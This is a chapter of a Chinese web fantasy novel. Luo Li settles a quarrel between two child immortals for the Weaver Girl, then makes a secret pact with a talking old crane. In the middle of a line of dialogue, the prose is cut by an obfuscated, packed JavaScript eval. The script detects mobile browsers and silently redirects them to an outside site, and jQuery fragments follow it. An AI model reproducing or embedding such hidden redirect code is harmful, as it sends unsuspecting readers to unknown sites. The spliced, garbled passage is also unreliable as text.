俩小仙童方才许是被洛黎转了注意力,两人手牵着手站在织女身后,安静看着洛黎道歉,忽想起他俩正在吵架呢,甩了手又闹了起来。
织女顾不上洛黎,怒瞪了他几眼,转身回去照顾小仙童。
霞光披在她们身上,洛黎突然觉得鼻子有些酸,他对父母的记忆并不多,但他总觉得应该也如眼前这般吵吵闹闹,但很温馨。
小仙童一个四仰八叉躺在地上不起来,另一个抱着织女的腿哭得好似喘不上气,织女才整理好的发髻又歪了些许,连带着云肩上的流苏都相互扯了结。
洛黎蹲下身,将躺在地上的小仙童抱了起来。
“你干什么?”织女声音颤抖,右手微微抬起,兰花指间拈起一根绣花针,在霞光下映着点点星辉。
她那模样,好似洛黎只要敢将孩子抱起来,就拿针扎他。
洛黎倒抽一口凉气,无奈道:“都说了我是启明殿的和光君,不是拐小孩的邪祟。”
织女半信半疑:“所以呢?”
“你这哄小孩的方式太老套,一边去。”他没好气道。
织女面色一怔,才褪去的红晕又慢慢爬上,“你你你”了几声,虽眼眸中少了几分警惕,但捏着银针的手,却迟迟没有放下。
洛黎也懒的在于她多言,轻拍着面前小仙童身上沾的云絮,柔声道:“我也觉得你没有错。”
“是吧是吧,这朵云彩就是得那么推才好看。”
“是,是她们审美不行。”洛黎冲他拼命点了点头,“只不过……”
“我就知道,你们肯定是一伙的。”小鹊将洛黎的手扫落,朝旁挪了几步,嘟着嘴撇着脑袋,可葡萄大的瞳孔却藏不住地朝他瞥来,“我又不是小孩子了,不用搪塞我。”
洛黎心中一乐,这娃娃真可爱。他也朝他挪了几步:“哪儿的话,我只是觉得那边那朵云彩好像更适合你发挥,”他抬手胡乱一指,“你看哈,它那个角度那个形状,是不是好像怎么摆都不好看呐!”
“胡说,那朵云彩也是极好的。”
“我不信,不然你摆给我看看?”
“我,我才不去,我知道你这肯定是想将我支开。”
“你莫不是嘴硬,其实你也觉得不好摆吧!”
“你……”
小鹊话还未说完,洛黎连忙接着道:“你就当我是激将法好了,我也不会到处去说你摆不好云彩跟织女耍赖皮的事儿。”
“我,我就这去摆给你看。”小鹊小脚一跺,四周云絮纷飞,他转身朝云彩小跑去,不过一半路,扭头指着洛黎道,“脑子不好的仙君你不许走,给我瞧好了。”说罢,发上缠的飘带轻扬,脚踝上挂着的铃铛随着他一蹦一响。
“你……”这次轮到他无语,余光瞟到小喜抽搭着抹泪,又朝她招了招手,“你这朵云彩摆得极好,只是好像方才被我推歪了,你可以帮我推回来吗?”
小喜一双哭得通红的眼睛望着他,愣了许久,点点头,从地上爬起来,将云彩推回,又仔细比对着绣帕上的图案:“好了。”
“谢谢小喜,小喜是姐姐吗?”
小喜一愣,扭头看了看织女,像是叹气一般点了点头。
“下次小鹊再胡闹,你就揍他。自古天底下就没有不怕挨姐姐揍的弟弟,拳头之下才能出真姐弟情。”洛黎想着自己的兄弟,每每闯祸闹事,父母那是说得口干舌燥都不如他亲姐的一顿揍有效,“效果拔群哟,下次试试吧!”
小喜眉眼一弯:“嗯!”
“真可爱。”洛黎伸手捏了把团子的脸,心里暖洋洋的,还是闺女好,以后……他突然脸色一暗,他忘记了,他已经死了,虽说人在天庭,但也只是暂代而已。
“你怎么了?”织女见他将两孩子的事情处理得甚好,本想取取经,可见他神色不对劲,略带担忧地问了声。
“没事,刚突然想打喷嚏,但打不出来。”
小喜举着手帕:“我知道那种感觉,特别难受。”
“对,”他揉了揉小喜的头,扬着嘴角对织女说,“启明殿还有事,我就先走了。”他看了眼不远处还在捣鼓那朵云彩的小鹊,又多说了一句,“不患寡而患不均,许多事情你以为他们不懂,其实他们可能看的比我们清,与其去解决两人的意见不一,不如直接分散他们的注意力,他们是亲姐弟不会记仇的。”
小喜似懂非懂地拼命点头,洛黎笑道:“今晚的小点心织女就准备两份吧,咱们小喜也有功劳不是。”
织女恍然大悟,面色似春风拂面,笑颜如花开:“谢仙君教诲。”
洛黎忙摆手:“客气客气,”转头唤了声,“老鹤,咱们回了。”却是无鹤应答,转身才发现那老鹤不知何时竟倒插进云朵里,只留一对爪子露在外头。
他心中一惊,忙上前去,伸手抓着那对爪子,想将它从云里拔出来。
“这云,原来是实心的。”他突然松了爪子,将手按在云上,像极了凡间滨海浅滩上的沙,带着点湿意。可当他将手掌挪开时,又有一缕云絮缠在他手心,“这可真有意思。”
说话间,仙鹤乙的腿摇晃了几下,洛黎一拍脑门,不再想其他,赶忙将老鹤从云里拔了出来,但他总觉得有点不对劲,老鹤这个腿,摸着怪怪的。
仙鹤乙被摔在地上,摇晃着站起身,冲洛黎走来时,身子一高一低,一高一低,洛黎瞧着实在奇怪,干脆弯下身去看。
“老鹤,你的腿怎么了?”他弯着身子,后边所幸干脆蹲下,盯着仙鹤乙的腿目不转睛,“你原来不仅仅是年龄大,
还是只残疾鹤。”洛黎愤然起身,许是起得太猛,眼前一黑,头有些晕。
“鹤的事,你少管。”
“我这是被一只鹤给威胁了?”洛黎回头冲织女笑了笑,面色有些尴尬,突然像是发现了什么,又凑到仙鹤乙的喙前,抓着它的鸟喙左右看,“老鹤,你会说话啊?”
仙鹤乙甩着头,将洛黎的手从自己的嘴上甩开:“说话就说话,动手动脚。”说话间,翅膀一抬重重拍向他的后背,趁着他没站稳身体前倾将要倒下,展翅从他身下掠过,稳稳将他接住,顺溜地拐了个弯儿,朝启明殿飞去。
“老鹤,这漂移技术水平,秀哇!”洛黎本以为自己就要摔个狗啃云,没想到老鹤一番操作,自己稳稳躺在了它的背上,不知道是不是它捡了太多喜鹊那俩姐弟的翎羽,感觉躺着竟然舒适了不少。
“老鹤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713563|173400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你说织女分明是小仙女,为什么她的孩子身上会掉羽毛啊?”洛黎仔细调整着姿势,让自己更舒服些。
“那是羽衣。”
洛黎不知为何,总觉得老鹤这短短四个字里带着一种鄙夷:“老鹤你这说话的语气得改改,我不喜欢。”
老鹤左右甩着身子,洛黎赶忙翻身抱住他的长颈:“你干嘛,掉下去了要。”
“见识短,话还多,不怕被揭短?”
“我有什么可怕的,反正……”洛黎话道一半,戛然而止,装作若无其事,四看风景。
“反正你也不是真的和光君?”
“你胡说什么?”洛黎警惕地环顾四周,本想伸手去捂老鹤的鸟喙,但奈何这货脖子实在太长。
老鹤扑着翅膀拔了高度,周身的温度陡然下降,连霞光也黯淡许多。
“我想与你谈笔交易。”
“什么?”洛黎脱口而出。
老鹤携着洛黎在一处僻静的云潭停下,降落姿势优雅,完全没有先前的狼狈和慌乱。
洛黎这是第一次自己从它背上跃下,眼眸中带着不可置信,缓缓回头看它。
老鹤单脚独立,羽翼丰满,昂着头,站在以落星为瀑的云潭中央,星河划过苍穹,似有荧荧星光洒落,聚在它周身,神性十足。
“老鹤?”洛黎轻轻唤道,生怕惊扰了此间神明。
“我有病。”
“看出来了。”老鹤眼眸微斜,瞥了他一眼,洛黎立马改口道,“不是,我不是这个意思。”
“我要你帮我治病。”
“什么病?”洛黎只想扇自己耳光,他这话不过脑的嘴,能不能听听自己的指挥。
老鹤长叹,低垂下头,以鸟喙去探潭里的星光,光碎了一池:“不知道。”
洛黎惊讶地张着嘴,眨巴着眼睛,一时间竟然不知道该如何吐槽。一只鹤知道自己有病,但不知道病在哪里,这是什么鬼故事?
“所以,我的条件就是,你帮我查查我到底是什么病。”老鹤一只脚单立着,好似比它使两条腿时,更稳些,他看洛黎直勾勾盯着它的爪子,他一扇翅膀,带起一阵风,风中带了潭中星屑,迷了他的眼,“我腿没病。”
洛黎捏着袖子去擦脸上的水,摆手道:“那我的报酬呢?”
“我可以告诉你,和光同尘的秘密。”
老鹤眼中狡黠一闪而过,拳头大的脸上竟有种老谋深算之相,洛黎眯着眼点头:“成交。”
一人一鹤的协议就以这云潭为誓,老鹤的翅膀与洛黎的手击掌三次,握在一起:“若是谁不守诺,就来此跳潭。”
云潭深处不知是何声音,悠远深长,星河瀑布在那一刹似是凝住,而后又重重坠下,溅起万千星芒。
老鹤回到启明殿,又是那副要死不活的模样,走起路来一高一低。
“老鹤,你瘸错腿了。”洛黎一时犯坏,说完见老鹤匆忙换了高低的腿,哈哈大笑,还没乐呵多久,随即被糊了一嘴的毛。
老鹤背着翅膀,怒瞪他,一瘸一拐地往后院走去。
洛黎摸着光洁的下巴觉得这启明殿也是越发有意思,看着老鹤离开的方向,心道:这老鹤不简单呐!